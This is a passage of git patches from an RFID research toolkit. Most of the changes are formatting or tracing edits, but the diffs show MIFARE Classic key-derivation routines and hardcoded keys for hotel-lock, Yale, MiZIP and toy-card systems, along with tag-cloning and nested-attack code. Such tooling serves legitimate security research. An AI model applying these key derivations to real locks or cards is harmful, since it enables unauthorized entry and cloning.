bytes_to_num(data, 4); blocks[2] = bytes_to_num(data + 4, 4); blocks[3] = bytes_to_num(data + 8, 4); @@ -608,12 +608,12 @@ static int CmdIndalaClone(const char *Cmd) { // config for Indala 64 format (RF/32;PSK1 with RF/2;Maxblock=2) PrintAndLogEx(INFO, "Preparing to clone Indala 64bit tag with RawID %s", sprint_hex(data, datalen)); - + if (is_t5555) blocks[0] = T5555_SET_BITRATE(32) | T5555_MODULATION_PSK1 | (2 << T5555_MAXBLOCK_SHIFT); else blocks[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK1 | (2 << T55x7_MAXBLOCK_SHIFT); - + blocks[1] = bytes_to_num(data, 4); blocks[2] = bytes_to_num(data + 4, 4); max = 3; diff --git a/client/cmdlfkeri.c b/client/cmdlfkeri.c index 4846b5378..aadc8676d 100644 --- a/client/cmdlfkeri.c +++ b/client/cmdlfkeri.c @@ -128,8 +128,8 @@ static int CmdKeriClone(const char *Cmd) { T55x7_MODULATION_PSK1 | T55x7_PSKCF_RF_2 | 2 << T55x7_MAXBLOCK_SHIFT, - 0, - 0 + 0, + 0 }; // dynamic bitrate used diff --git a/common/generator.c b/common/generator.c index 22c63add5..6dbac2feb 100644 --- a/common/generator.c +++ b/common/generator.c @@ -36,13 +36,13 @@ //------------------------------------ static void transform_D(uint8_t *ru) { -const uint32_t c_D[] = { - 0x6D835AFC, 0x7D15CD97, 0x0942B409, 0x32F9C923, 0xA811FB02, 0x64F121E8, - 0xD1CC8B4E, 0xE8873E6F, 0x61399BBB, 0xF1B91926, 0xAC661520, 0xA21A31C9, - 0xD424808D, 0xFE118E07, 0xD18E728D, 0xABAC9E17, 0x18066433, 0x00E18E79, - 0x65A77305, 0x5AE9E297, 0x11FC628C, 0x7BB3431F, 0x942A8308, 0xB2F8FD20, - 0x5728B869, 0x30726D5A -}; + const uint32_t c_D[] = { + 0x6D835AFC, 0x7D15CD97, 0x0942B409, 0x32F9C923, 0xA811FB02, 0x64F121E8, + 0xD1CC8B4E, 0xE8873E6F, 0x61399BBB, 0xF1B91926, 0xAC661520, 0xA21A31C9, + 0xD424808D, 0xFE118E07, 0xD18E728D, 0xABAC9E17, 0x18066433, 0x00E18E79, + 0x65A77305, 0x5AE9E297, 0x11FC628C, 0x7BB3431F, 0x942A8308, 0xB2F8FD20, + 0x5728B869, 0x30726D5A + }; //Transform uint8_t i; @@ -197,9 +197,9 @@ int mfc_algo_ving_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *k int mfc_algo_ving_all(uint8_t *uid, uint8_t *keys) { if (keys == NULL) return PM3_EINVARG; for (int keytype = 0; keytype < 2; keytype++) { - for (int sector = 0; sector < 16; sector++){ + for (int sector = 0; sector < 16; sector++) { uint64_t key = 0; - mfc_algo_ving_one(uid, sector, keytype, &key ); + mfc_algo_ving_one(uid, sector, keytype, &key); num_to_bytes(key, 6, keys + (keytype * 16 * 6) + (sector * 6)); } } @@ -216,9 +216,9 @@ int mfc_algo_yale_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *k int mfc_algo_yale_all(uint8_t *uid, uint8_t *keys) { if (keys == NULL) return PM3_EINVARG; for (int keytype = 0; keytype < 2; keytype++) { - for (int sector = 0; sector < 16; sector++){ + for (int sector = 0; sector < 16; sector++) { uint64_t key = 0; - mfc_algo_yale_one(uid, sector, keytype, &key ); + mfc_algo_yale_one(uid, sector, keytype, &key); num_to_bytes(key, 6, keys + (keytype * 16 * 6) + (sector * 6)); } } @@ -236,9 +236,9 @@ int mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys) { if (keys == NULL) return PM3_EINVARG; for (int keytype = 0; keytype < 2; keytype++) { - for (int sector = 0; sector < 16; sector++){ + for (int sector = 0; sector < 16; sector++) { uint64_t key = 0; - mfc_algo_saflok_one(uid, sector, keytype, &key ); + mfc_algo_saflok_one(uid, sector, keytype, &key); num_to_bytes(key, 6, keys + (keytype * 16 * 6) + (sector * 6)); } } @@ -253,15 +253,15 @@ int mfc_algo_mizip_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t * if (sector == 0) { // A if (keytype == 0) - *key = 0xA0A1A2A3A4A5U; - else // B - *key = 0xB4C132439eef; + *key = 0xA0A1A2A3A4A5U; + else // B + *key = 0xB4C132439eef; } else { - uint8_t xor[6]; + uint8_t xor[6]; - if ( keytype == 0 ) { + if (keytype == 0) { uint64_t xor_tbl_a[] = { 0x09125a2589e5, @@ -273,7 +273,7 @@ int mfc_algo_mizip_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t * num_to_bytes(xor_tbl_a[sector - 1], 6, xor); *key = - (uint64_t)(uid[0] ^ xor[0] ) << 40 | + (uint64_t)(uid[0] ^ xor[0]) << 40 | (uint64_t)(uid[1] ^ xor[1]) << 32 | (uint64_t)(uid[2] ^ xor[2]) << 24 | (uint64_t)(uid[3] ^ xor[3]) << 16 | @@ -311,11 +311,11 @@ int mfc_algo_mizip_all(uint8_t *uid, uint8_t *keys) { if (keys == NULL) return PM3_EINVARG; for (int keytype = 0; keytype < 2; keytype++) { - for (int sector = 0; sector < 5; sector++){ + for (int sector = 0; sector < 5; sector++) { uint64_t key = 0; mfc_algo_mizip_one(uid, sector, keytype, &key); num_to_bytes(key, 6, keys + (keytype * 5 * 6) + (sector * 6)); - } + } } return PM3_SUCCESS; } @@ -337,20 +337,20 @@ int mfc_algo_di_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key mbedtls_sha1(input, sizeof(input), hash); *key = ( - (uint64_t)hash[3] << 40 | - (uint64_t)hash[2] << 32 | - (uint64_t)hash[1] << 24 | - (uint64_t)hash[0] << 16 | - (uint64_t)hash[7] << 8 | - hash[6] - ); + (uint64_t)hash[3] << 40 | + (uint64_t)hash[2] << 32 | + (uint64_t)hash[1] << 24 | + (uint64_t)hash[0] << 16 | + (uint64_t)hash[7] << 8 | + hash[6] + ); return PM3_SUCCESS; } int mfc_algo_di_all(uint8_t *uid, uint8_t *keys) { if (keys == NULL) return PM3_EINVARG; for (int keytype = 0; keytype < 2; keytype++) { - for (int sector = 0; sector < 5; sector++){ + for (int sector = 0; sector < 5; sector++) { uint64_t key = 0; mfc_algo_di_one(uid, sector, keytype, &key); num_to_bytes(key, 6, keys + (keytype * 5 * 6) + (sector * 6)); @@ -361,10 +361,10 @@ int mfc_algo_di_all(uint8_t *uid, uint8_t *keys) { // Skylanders static uint64_t sky_crc64_like(uint64_t result, uint8_t sector) { - #define SKY_POLY UINT64_C(0x42f0e1eba9ea3693) - #define SKY_TOP UINT64_C(0x800000000000) +#define SKY_POLY UINT64_C(0x42f0e1eba9ea3693) +#define SKY_TOP UINT64_C(0x800000000000) result ^= (uint64_t)sector << 40; - for(int i = 0; i < 8; i++) { + for (int i = 0; i < 8; i++) { result = (result & SKY_TOP) ? (result << 1) ^ SKY_POLY : result << 1; } return result; @@ -375,7 +375,7 @@ int mfc_algo_sky_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *ke if (sector > 15) return PM3_EINVARG; if (key == NULL) return PM3_EINVARG; - + if (sector == 0 && keytype == 0) { *key = 0x4B0B20107CCB; return PM3_SUCCESS; @@ -384,21 +384,21 @@ int mfc_algo_sky_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *ke *key = 0x000000000000; return PM3_SUCCESS; } - + // hash UID uint64_t hash = 0x9AE903260CC4; - for(int i = 0; i < 4; i++) { + for (int i = 0; i < 4; i++) { hash = sky_crc64_like(hash, uid[i]); } - uint64_t sectorhash = sky_crc64_like(hash, sector); + uint64_t sectorhash = sky_crc64_like(hash, sector); *key = BSWAP_64(sectorhash & SKY_KEY_MASK) >> 16; return PM3_SUCCESS; } int mfc_algo_sky_all(uint8_t *uid, uint8_t *keys) { if (keys == NULL) return PM3_EINVARG; for (int keytype = 0; keytype < 2; keytype++) { - for (int sector = 0; sector < 16; sector++){ + for (int sector = 0; sector < 16; sector++) { uint64_t key = 0; mfc_algo_sky_one(uid, sector, keytype, &key); num_to_bytes(key, 6, keys + (keytype * 16 * 6) + (sector * 6)); diff --git a/common/iso15693tools.h b/common/iso15693tools.h index 7c5380904..62ad85499 100644 --- a/common/iso15693tools.h +++ b/common/iso15693tools.h @@ -106,14 +106,14 @@ static const int Iso15693FrameSOF[] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, - -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - -1, -1, -1, -1, - -1, -1, -1, -1, - 1, 1, 1, 1, - 1, 1, 1, 1 -}; + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + -1, -1, -1, -1, + -1, -1, -1, -1, + 1, 1, 1, 1, + 1, 1, 1, 1 + }; static const int Iso15693Logic0[] = { 1, 1, 1, 1, 1, 1, 1, 1, @@ -122,10 +122,10 @@ static const int Iso15693Logic0[] = { }; static const int Iso15693Logic1[] = { -1, -1, -1, -1, - -1, -1, -1, -1, - 1, 1, 1, 1, - 1, 1, 1, 1 -}; + -1, -1, -1, -1, + 1, 1, 1, 1, + 1, 1, 1, 1 + }; // EOF defined as // 1) logic '0' (8 pulses of 423.75kHz followed by unmodulated for 18.88us) From 6fa188062c14b5765dbf8e8aeb50d695bf076911 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 12 Jan 2020 17:30:29 +0100 Subject: [PATCH 294/418] style --- armsrc/fpgaloader.h | 6 +++--- armsrc/lfsampling.c | 12 ++++++------ client/cmdlfpac.c | 2 +- fpga/fpga_hf.v | 4 ++-- fpga/fpga_lf.v | 10 +++++----- fpga/hi_flite.v | 10 +++++----- 6 files changed, 22 insertions(+), 22 deletions(-) diff --git a/armsrc/fpgaloader.h b/armsrc/fpgaloader.h index 5399db4ed..636c5b7b7 100644 --- a/armsrc/fpgaloader.h +++ b/armsrc/fpgaloader.h @@ -25,7 +25,7 @@ Communication between ARM / FPGA is done inside armsrc/fpgaloader.c (function FpgaSendCommand) Send 16 bit command / data pair to FPGA The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 - where + where C is 4bit command D is 12bit data @@ -33,7 +33,7 @@ bit | 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 -----+------------------------------------------- cmd | x x x x -major| x x x +major| x x x opt | x x divi | x x x x x x x x thres| x x x x x x x x @@ -71,7 +71,7 @@ thres| x x x x x x x x #define FPGA_MAJOR_MODE_OFF (7<<5) // D // Options for LF_READER -#define FPGA_LF_ADC_READER_FIELD 0x1 +#define FPGA_LF_ADC_READER_FIELD 0x1 // Options for LF_EDGE_DETECT #define FPGA_CMD_SET_EDGE_DETECT_THRESHOLD FPGA_CMD_SET_USER_BYTE1 diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index 32865d204..3378a9f94 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -54,26 +54,26 @@ void printConfig() { void setSamplingConfig(sample_config *sc) { // decimation (1-8) how many bits of adc sample value to save - if (sc->decimation > 0 && sc->decimation < 8) + if (sc->decimation > 0 && sc->decimation < 8) config.decimation = sc->decimation; // bits per sample (1-8) - if (sc->bits_per_sample > 0 && sc->bits_per_sample < 8) + if (sc->bits_per_sample > 0 && sc->bits_per_sample < 8) config.bits_per_sample = sc->bits_per_sample; // if (sc->averaging > -1) config.averaging = (sc->averaging > 0) ? 1 : 0; - + // Frequency divisor (19 - 255) if (sc->divisor > 18 && sc->divisor < 256) config.divisor = sc->divisor; - + // Start saving samples when adc value larger than trigger_threshold - if (sc->trigger_threshold > -1) + if (sc->trigger_threshold > -1) config.trigger_threshold = sc->trigger_threshold; - // Skip n adc samples before saving + // Skip n adc samples before saving if (sc->samples_to_skip > -1) config.samples_to_skip = sc->samples_to_skip; diff --git a/client/cmdlfpac.c b/client/cmdlfpac.c index 63a3e16cd..24c549a4b 100644 --- a/client/cmdlfpac.c +++ b/client/cmdlfpac.c @@ -260,7 +260,7 @@ static int CmdPacSim(const char *Cmd) { rawBlocks[i] = bytes_to_num(rawBytes + (i * sizeof(uint32_t)), sizeof(uint32_t)); num_to_bytebits(rawBlocks[i], sizeof(uint32_t) * 8, bs + (i * sizeof(uint32_t) * 8)); } - + PrintAndLogEx(SUCCESS, "Simulating PAC/Stanley - ID " _YELLOW_("%s")" raw "_YELLOW_("%08X%08X%08X%08X"), cardid, rawBlocks[0], rawBlocks[1], rawBlocks[2], rawBlocks[3]); lf_nrzsim_t *payload = calloc(1, sizeof(lf_nrzsim_t) + sizeof(bs)); diff --git a/fpga/fpga_hf.v b/fpga/fpga_hf.v index 48ae7b5ec..d23b64a08 100644 --- a/fpga/fpga_hf.v +++ b/fpga/fpga_hf.v @@ -93,7 +93,7 @@ module fpga_hf( Communication between ARM / FPGA is done inside armsrc/fpgaloader.c see: function FpgaSendCommand() Send 16 bit command / data pair to FPGA The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 - where + where C is 4bit command D is 12bit data @@ -104,7 +104,7 @@ module fpga_hf( bit | 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 -----+------------------------------------------- cmd | x x x x -major| x x x +major| x x x opt | x x divi | x x x x x x x x thres| x x x x x x x x diff --git a/fpga/fpga_lf.v b/fpga/fpga_lf.v index da681321c..dd3fe3b0b 100644 --- a/fpga/fpga_lf.v +++ b/fpga/fpga_lf.v @@ -56,7 +56,7 @@ module fpga_lf( Communication between ARM / FPGA is done inside armsrc/fpgaloader.c see: function FpgaSendCommand() Send 16 bit command / data pair to FPGA The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 - where + where C is 4bit command D is 12bit data @@ -83,11 +83,11 @@ module fpga_lf( Each one of this major modes can have options. Currently these two major modes uses options. - FPGA_MAJOR_MODE_LF_READER - FPGA_MAJOR_MODE_LF_EDGE_DETECT - + FPGA_MAJOR_MODE_LF_READER ------------------------------------- lf_field = 1bit (FPGA_LF_ADC_READER_FIELD) - + You can send FPGA_CMD_SET_DIVISOR to set with FREQUENCY the fpga should sample at divisor = 8bits shift_reg[7:0] @@ -101,7 +101,7 @@ module fpga_lf( conf_word 12bits conf_word[7:5] = 3bit major mode. - conf_word[0] = 1bit lf_field + conf_word[0] = 1bit lf_field conf_word[1] = 1bit lf_ed_toggle_mode conf_word[7:0] = 8bit divisor conf_word[7:0] = 8bit threshold @@ -110,7 +110,7 @@ module fpga_lf( bit | 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 -----+------------------------------------------- cmd | x x x x -major| x x x +major| x x x opt | x x divi | x x x x x x x x thres| x x x x x x x x diff --git a/fpga/hi_flite.v b/fpga/hi_flite.v index aa1f12925..97d0154ea 100644 --- a/fpga/hi_flite.v +++ b/fpga/hi_flite.v @@ -1,13 +1,13 @@ /* - This code demodulates and modulates signal as described in ISO/IEC 18092. + This code demodulates and modulates signal as described in ISO/IEC 18092. That includes packets used for Felica, NFC Tag 3, etc. (which do overlap) - simple envelope following algorithm is used (modification of fail0verflow LF one) + simple envelope following algorithm is used (modification of fail0verflow LF one) is used to combat some nasty aliasing effect with testing phone (envelope looked like sine wave) Speeds supported: only 212 kbps (fc/64) for now. Todo: 414 kbps - though for reader, the selection has to come from ARM. modulation waits for market sprocket -doesn't really mean anything + though for reader, the selection has to come from ARM. modulation waits for market sprocket -doesn't really mean anything - mod_type: bits 210: + mod_type: bits 210: bit 2 : reader drive/power on/off bit 1 : speed bit, 0 : 212, 1 :424 bit 0 : listen or modulate @@ -130,7 +130,7 @@ reg ssp_din; reg prv = 1'b1; // for simple error correction in mod/demod detection, use maximum of modded/demodded in given interval. Maybe 1 bit is extra? but better safe than sorry. -reg[7:0] mid = 8'd128; +reg[7:0] mid = 8'd128; // set TAGSIM__MODULATE on ARM if we want to write... (frame would get lost if done mid-frame...) // start sending over 1s on ssp->arm when we start sending preamble From d78b308470c1e50a531ef9407e9e794bc64a5a5f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 12 Jan 2020 18:15:25 +0100 Subject: [PATCH 295/418] bug: keytable printing --- client/cmdhfmf.c | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 9733059e9..4a9e8809a 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -1296,6 +1296,7 @@ static int CmdHF14AMfNested(const char *Cmd) { // transfer key to the emulator if (transferToEml) { uint8_t sectortrailer; + if (trgBlockNo < 32 * 4) { // 4 block sector sectortrailer = trgBlockNo | 0x03; } else { // 16 block sector @@ -1307,6 +1308,7 @@ static int CmdHF14AMfNested(const char *Cmd) { num_to_bytes(key64, 6, keyBlock); else num_to_bytes(key64, 6, &keyBlock[10]); + mfEmlSetMem(keyBlock, sectortrailer, 1); PrintAndLogEx(SUCCESS, "Key transferred to emulator memory."); } @@ -3322,7 +3324,7 @@ void printKeyTableEx(uint8_t sectorscnt, sector_t *e_sector, uint8_t start_secto PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); PrintAndLogEx(NORMAL, "|sec| key A |res| key B |res|"); PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); - for (uint8_t i = 0; i < sectorscnt; ++i) { + for (uint8_t i = 0; i < sectorscnt; i++) { snprintf(strA, sizeof(strA), "------------"); snprintf(strB, sizeof(strB), "------------"); @@ -3340,8 +3342,14 @@ void printKeyTableEx(uint8_t sectorscnt, sector_t *e_sector, uint8_t start_secto , strB, e_sector[i].foundKey[1] ); } else { + + // keep track if we use start_sector or i... + uint8_t s = start_sector; + if (start_sector == 0) + s = i; + PrintAndLogEx(NORMAL, "|%03d| %s | " _YELLOW_("%d")"| %s | " _YELLOW_("%d")"|" - , start_sector + , s , strA, e_sector[i].foundKey[0] , strB, e_sector[i].foundKey[1] ); From eb9f67635bd52af5540abf4d169fa657f744c16a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 13 Jan 2020 10:34:59 +0100 Subject: [PATCH 296/418] chg: enable/disable hf fpga tracing --- armsrc/iso14443a.c | 13 +++++++++-- armsrc/iso14443b.c | 16 +++++++++++--- armsrc/mifaresim.c | 54 ++++++++++++++++++++++++++++++++++++++++++++-- 3 files changed, 76 insertions(+), 7 deletions(-) diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index bd5f9ba37..b68edf58a 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -552,8 +552,6 @@ RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) { return false; // not finished yet, need more data } - - //============================================================================= // Finally, a `sniffer' for ISO 14443 Type A // Both sides of communication! @@ -717,6 +715,8 @@ void RAMFUNC SniffIso14443a(uint8_t param) { } } // end main loop + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_ERROR) { Dbprintf("maxDataLen=%d, Uart.state=%x, Uart.len=%d", maxDataLen, Uart.state, Uart.len); Dbprintf("traceLen=" _YELLOW_("%d")", Uart.output[0]="_YELLOW_("%08x"), BigBuf_get_traceLen(), (uint32_t)Uart.output[0]); @@ -2646,6 +2646,8 @@ void ReaderIso14443a(PacketCommandNG *c) { if (!(param & ISO14A_NO_SELECT)) { iso14a_card_select_t *card = (iso14a_card_select_t *)buf; arg0 = iso14443a_select_card(NULL, card, NULL, true, 0, param & ISO14A_NO_RATS); + FpgaDisableTracing(); + reply_mix(CMD_ACK, arg0, card->uidlen, 0, buf, sizeof(iso14a_card_select_t)); if (arg0 == 0) goto OUT; @@ -2658,6 +2660,8 @@ void ReaderIso14443a(PacketCommandNG *c) { if ((param & ISO14A_APDU)) { uint8_t res; arg0 = iso14_apdu(cmd, len, (param & ISO14A_SEND_CHAINING), buf, &res); + FpgaDisableTracing(); + reply_old(CMD_ACK, arg0, res, 0, buf, sizeof(buf)); } @@ -2702,6 +2706,8 @@ void ReaderIso14443a(PacketCommandNG *c) { } } arg0 = ReaderReceive(buf, par); + FpgaDisableTracing(); + reply_old(CMD_ACK, arg0, 0, 0, buf, sizeof(buf)); } @@ -3013,6 +3019,8 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) { if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Number of sent auth requests: %u", i); + FpgaDisableTracing(); + struct { int32_t isOK; uint8_t cuid[4]; @@ -3270,6 +3278,7 @@ void DetectNACKbug(void) { // num_nacks = number of nacks recieved. should be only 1. if not its a clone card which always sends NACK (parity == 0) ? // i = number of authentications sent. Not always 256, since we are trying to sync but close to it. + FpgaDisableTracing(); uint8_t *data = BigBuf_malloc(4); data[0] = isOK; diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index 6f19def06..342c68471 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -1165,6 +1165,9 @@ uint8_t iso14443b_apdu(uint8_t const *message, size_t message_length, uint8_t *r CodeAndTransmit14443bAsReader(message_frame, message_length + 4); //no // get response GetTagSamplesFor14443bDemod(); //no + + FpgaDisableTracing(); + if (Demod.len < 3) return 0; @@ -1191,6 +1194,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) { CodeAndTransmit14443bAsReader(init_srx, sizeof(init_srx)); GetTagSamplesFor14443bDemod(); //no + FpgaDisableTracing(); if (Demod.len == 0) return 2; @@ -1204,6 +1208,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) { CodeAndTransmit14443bAsReader(select_srx, sizeof(select_srx)); GetTagSamplesFor14443bDemod(); //no + FpgaDisableTracing(); if (Demod.len != 3) return 2; @@ -1222,6 +1227,7 @@ uint8_t iso14443b_select_srx_card(iso14b_card_select_t *card) { AddCrc14B(select_srx, 1); CodeAndTransmit14443bAsReader(select_srx, 3); // Only first three bytes for this one GetTagSamplesFor14443bDemod(); //no + FpgaDisableTracing(); if (Demod.len != 10) return 2; @@ -1253,6 +1259,7 @@ uint8_t iso14443b_select_card(iso14b_card_select_t *card) { // first, wake up the tag CodeAndTransmit14443bAsReader(wupb, sizeof(wupb)); GetTagSamplesFor14443bDemod(); //select_card + FpgaDisableTracing(); // ATQB too short? if (Demod.len < 14) @@ -1277,6 +1284,7 @@ uint8_t iso14443b_select_card(iso14b_card_select_t *card) { CodeAndTransmit14443bAsReader(attrib, sizeof(attrib)); GetTagSamplesFor14443bDemod();//select_card + FpgaDisableTracing(); // Answer to ATTRIB too short? if (Demod.len < 3) @@ -1353,6 +1361,7 @@ static bool ReadSTBlock(uint8_t block) { AddCrc14B(cmd, 2); CodeAndTransmit14443bAsReader(cmd, sizeof(cmd)); GetTagSamplesFor14443bDemod(); + FpgaDisableTracing(); // Check if we got an answer from the tag if (Demod.len != 6) { @@ -1602,7 +1611,7 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) { if ((param & ISO14B_SELECT_STD) == ISO14B_SELECT_STD) { iso14b_card_select_t *card = (iso14b_card_select_t *)buf; status = iso14443b_select_card(card); - reply_old(CMD_ACK, status, sendlen, 0, buf, sendlen); + reply_mix(CMD_ACK, status, sendlen, 0, buf, sendlen); // 0: OK 2: attrib fail, 3:crc fail, if (status > 0) goto out; } @@ -1610,14 +1619,14 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) { if ((param & ISO14B_SELECT_SR) == ISO14B_SELECT_SR) { iso14b_card_select_t *card = (iso14b_card_select_t *)buf; status = iso14443b_select_srx_card(card); - reply_old(CMD_ACK, status, sendlen, 0, buf, sendlen); + reply_mix(CMD_ACK, status, sendlen, 0, buf, sendlen); // 0: OK 2: demod fail, 3:crc fail, if (status > 0) goto out; } if ((param & ISO14B_APDU) == ISO14B_APDU) { status = iso14443b_apdu(cmd, len, buf); - reply_old(CMD_ACK, status, status, 0, buf, status); + reply_mix(CMD_ACK, status, status, 0, buf, status); } if ((param & ISO14B_RAW) == ISO14B_RAW) { @@ -1628,6 +1637,7 @@ void SendRawCommand14443B_Ex(PacketCommandNG *c) { CodeAndTransmit14443bAsReader(cmd, len); // raw GetTagSamplesFor14443bDemod(); // raw + FpgaDisableTracing(); sendlen = MIN(Demod.len, PM3_CMD_DATA_SIZE); status = (Demod.len > 0) ? 0 : 1; diff --git a/armsrc/mifaresim.c b/armsrc/mifaresim.c index b055be6c7..a6c9c06f5 100644 --- a/armsrc/mifaresim.c +++ b/armsrc/mifaresim.c @@ -435,7 +435,6 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_ return true; } - /** *MIFARE 1K simulate. * @@ -547,16 +546,19 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 continue; } + FpgaEnableTracing(); //Now, get data int res = EmGetCmd(receivedCmd, &receivedCmd_len, receivedCmd_par); if (res == 2) { //Field is off! + FpgaDisableTracing(); LEDsoff(); cardSTATE = MFEMUL_NOFIELD; if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("cardSTATE = MFEMUL_NOFIELD"); continue; } else if (res == 1) { // button pressed + FpgaDisableTracing(); button_pushed = true; if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Button pressed"); @@ -570,6 +572,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 Dbprintf("EmSendPrecompiledCmd(&responses[ATQA]);"); EmSendPrecompiledCmd(&responses[ATQA]); + FpgaDisableTracing(); + // init crypto block crypto1_deinit(pcs); cardAUTHKEY = AUTHKEYNONE; @@ -637,6 +641,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // Incoming SELECT ALL for any cascade level if (receivedCmd_len == 2 && receivedCmd[1] == 0x20) { EmSendPrecompiledCmd(&responses[uid_index]); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SELECT ALL - EmSendPrecompiledCmd(%02x)", &responses[uid_index]); break; } @@ -648,6 +654,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 (uid_len == 7 && uid_index == UIDBCC2) || (uid_len == 10 && uid_index == UIDBCC3); EmSendPrecompiledCmd(&responses[cl_finished ? SAK : SAKuid]); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SELECT CLx %02x%02x%02x%02x received", receivedCmd[2], receivedCmd[3], receivedCmd[4], receivedCmd[5]); if (cl_finished) { LED_B_ON(); @@ -670,6 +678,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 if (memcmp(&receivedCmd[2], responses[uid_index].response, receivedCmd_len - 2) == 0) { // response missing part of UID via relative array index EmSendPrecompiledCmd(&responses[uid_index + receivedCmd_len - 2]); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("SELECT ANTICOLLISION - EmSendPrecompiledCmd(%02x)", &responses[uid_index]); } else { // IDLE, not our UID or split-byte frame anti-collision (not supports) @@ -710,6 +720,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 if (!CheckCrc14A(receivedCmd_dec, receivedCmd_len)) { // all commands must have a valid CRC EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] All commands must have a valid CRC %02X (%d)", receivedCmd_dec, receivedCmd_len); break; } @@ -725,6 +737,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // if authenticating to a block that shouldn't exist - as long as we are not doing the reader attack if (((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK)) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Reader tried to operate (0x%02x) on out of range block: %d (0x%02x), nacking", receivedCmd_dec[0], receivedCmd_dec[1], receivedCmd_dec[1]); break; } @@ -754,6 +768,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 crypto1_word(pcs, cuid ^ nonce, 0); // rAUTH_NT contains prepared nonce for authenticate EmSendCmd(rAUTH_NT, sizeof(rAUTH_NT)); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Reader authenticating for block %d (0x%02x) with key %c - nonce: %02X - ciud: %02X", receivedCmd_dec[1], receivedCmd_dec[1], (cardAUTHKEY == 0) ? 'A' : 'B', rAUTH_NT, cuid); } else { // nested authentication @@ -765,6 +781,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // we need calculate parity bits for non-encrypted sequence mf_crypto1_encryptEx(pcs, rAUTH_NT, rAUTH_NT_keystream, response, 4, response_par); EmSendCmdPar(response, 4, response_par); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Reader doing nested authentication for block %d (0x%02x) with key %c", receivedCmd_dec[1], receivedCmd_dec[1], (cardAUTHKEY == 0) ? 'A' : 'B'); } @@ -777,12 +795,14 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // BUT... ACK --> NACK if (receivedCmd_len == 1 